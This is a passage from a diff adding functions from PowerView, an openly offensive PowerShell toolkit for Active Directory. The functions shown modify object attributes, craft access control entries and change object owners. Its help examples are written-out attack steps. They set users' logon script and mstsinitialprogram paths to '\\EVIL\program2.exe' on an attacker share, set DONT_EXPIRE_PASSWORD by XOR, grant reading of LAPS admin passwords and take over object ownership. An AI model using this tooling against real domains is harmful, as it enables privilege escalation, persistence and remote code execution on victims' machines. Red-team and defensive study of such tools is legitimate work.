$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory') + $Output + } + } + else { + Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Set-DomainObject { +<# +.SYNOPSIS + +Modifies a gven property for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Splats user/object targeting parameters to Get-DomainObject, returning the raw +searchresult object. Retrieves the raw directoryentry for the object, and sets +any values from -Set @{}, XORs any values from -XOR @{}, and clears any values +from -Clear @(). + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Set + +Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. + +.PARAMETER XOR + +Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. + +.PARAMETER Clear + +Specifies an array of object properties that will be cleared in the directory. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: +(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y +VERBOSE: Setting countrycode to 1234 for object harmj0y +VERBOSE: Get-DomainSearcher search string: +LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser +VERBOSE: Setting countrycode to 1234 for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose + +Cleares the 'department' field for both object identities. + +.EXAMPLE + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 + + +Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\primary\sysvol\blah.ps1 + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\EVIL\program2.exe +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [Alias('Replace')] + [Hashtable] + $Set, + + [ValidateNotNullOrEmpty()] + [Hashtable] + $XOR, + + [ValidateNotNullOrEmpty()] + [String[]] + $Clear, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{'Raw' = $True} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + + $Entry = $RawObject.GetDirectoryEntry() + + if($PSBoundParameters['Set']) { + try { + $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { + Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" + $Entry.put($_.Name, $_.Value) + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['XOR']) { + try { + $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { + $PropertyName = $_.Name + $PropertyXorValue = $_.Value + Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" + $TypeName = $Entry.$PropertyName[0].GetType().name + + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + $Entry.$PropertyName = $PropertyValue -as $TypeName + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['Clear']) { + try { + $PSBoundParameters['Clear'] | ForEach-Object { + $PropertyName = $_ + Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" + $Entry.$PropertyName.clear() + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + } + } +} + + +function ConvertFrom-LDAPLogonHours { +<# +.SYNOPSIS + +Converts the LDAP LogonHours array to a processible object. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts the LDAP LogonHours array to a processible object. Each entry +property in the output object corresponds to a day of the week and hour during +the day (in UTC) indicating whether or not the user can logon at the specified +hour. + +.PARAMETER LogonHoursArray + +21-byte LDAP hours array. + +.EXAMPLE + +$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours +ConvertFrom-LDAPLogonHours $hours + +Gets the logonhours array from the first AD user with logon restrictions. + +.OUTPUTS + +PowerView.LogonHours +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonHours')] + [CmdletBinding()] + Param ( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [byte[]] + $LogonHoursArray + ) + + Begin { + if($LogonHoursArray.Count -ne 21) { + throw "LogonHoursArray is the incorrect length" + } + + function ConvertTo-LogonHoursArray { + Param ( + [int[]] + $HoursArr + ) + + $LogonHours = New-Object bool[] 24 + for($i=0; $i -lt 3; $i++) { + $Byte = $HoursArr[$i] + $Offset = $i * 8 + $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') + + $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) + $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) + $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) + $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) + $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) + $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) + $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) + $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) + } + + $LogonHours + } + } + + Process { + $Output = @{ + Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] + Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] + Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] + Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] + Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] + Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] + Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] + } + + $Output = New-Object PSObject -Property $Output + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') + $Output + } +} + + +function New-ADObjectAccessControlEntry { +<# +.SYNOPSIS + +Creates a new Active Directory object-specific access control entry. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Creates a new object-specific access control entry (ACE). The ACE could be +used for auditing access to an object or controlling access to objects. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER PrincipalSearchBase + +The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Right + +Specifies the rights set on the Active Directory object. + +.PARAMETER AccessControlType + +Specifies the type of ACE (allow or deny) + +.PARAMETER AuditFlag + +For audit ACEs, specifies when to create an audit log (on success or failure) + +.PARAMETER ObjectType + +Specifies the GUID of the object that the ACE applies to. + +.PARAMETER InheritanceType + +Specifies how the ACE applies to the object and/or its children. + +.PARAMETER InheritedObjectType + +Specifies the type of object that can inherit the ACE. + +.EXAMPLE + +$Guids = Get-DomainGUIDMap +$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name +$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name +$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid +$OU = Get-DomainOU -Raw Workstations +$DsEntry = $OU.GetDirectoryEntry() +$dsEntry.PsBase.Options.SecurityMasks = 'Dacl' +$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) +$dsEntry.PsBase.CommitChanges() + +Adds an ACE to all computer objects in the OU "Workstations" permitting the +user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property. + +.OUTPUTS + +System.Security.AccessControl.AuthorizationRule +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Security.AccessControl.AuthorizationRule')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $True)] + [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] + $Right, + + [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] + [ValidateSet('Allow', 'Deny')] + [String[]] + $AccessControlType, + + [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] + [ValidateSet('Success', 'Failure')] + [String] + $AuditFlag, + + [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] + [Guid] + $ObjectType, + + [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] + [String] + $InheritanceType, + + [Guid] + $InheritedObjectType + ) + + Begin { + if ($PrincipalIdentity -notmatch '^S-1-.*') { + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principal = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principal) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + elseif($Principal.Count -gt 1) { + throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" + } + $ObjectSid = $Principal.objectsid + } + else { + $ObjectSid = $PrincipalIdentity + } + + $ADRight = 0 + foreach($r in $Right) { + $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) + } + $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight + + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) + } + + Process { + if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } + else { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } + } +} + + +function Set-DomainObjectOwner { +<# +.SYNOPSIS + +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +.PARAMETER OwnerIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set for -Identity. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Owner')] + [String] + $OwnerIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid + if ($OwnerSid) { + $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid + } + else { + Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" + } + } + + PROCESS { + if ($OwnerIdentityReference) { + $SearcherArguments['Raw'] = $True + $SearcherArguments['Identity'] = $Identity + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + try { + Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" + $Entry = $RawObject.GetDirectoryEntry() + $Entry.PsBase.Options.SecurityMasks = 'Owner' + $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) + $Entry.PsBase.CommitChanges() + } + catch { + Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" + } + } + } + } +} + + +function Get-DomainObjectAcl { +<# +.SYNOPSIS + +Returns the ACLs associated with a specific active directory object. By default +the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Sacl + +Switch. Return the SACL instead of the DACL for the object (default behavior). + +.PARAMETER ResolveGUIDs + +Switch. Resolve GUIDs to their display names. + +.PARAMETER RightsFilter + +A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs + +Get the ACLs for the matt.admin user in the testlab.local domain and +resolve relevant GUIDs to their display names. + +.EXAMPLE + +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs + +Enumerate the ACL permissions for all OUs in the domain. + +.EXAMPLE + +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl + +Enumerate the SACLs for all OUs in the domain, resolving GUIDs. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [Switch] + $Sacl, + + 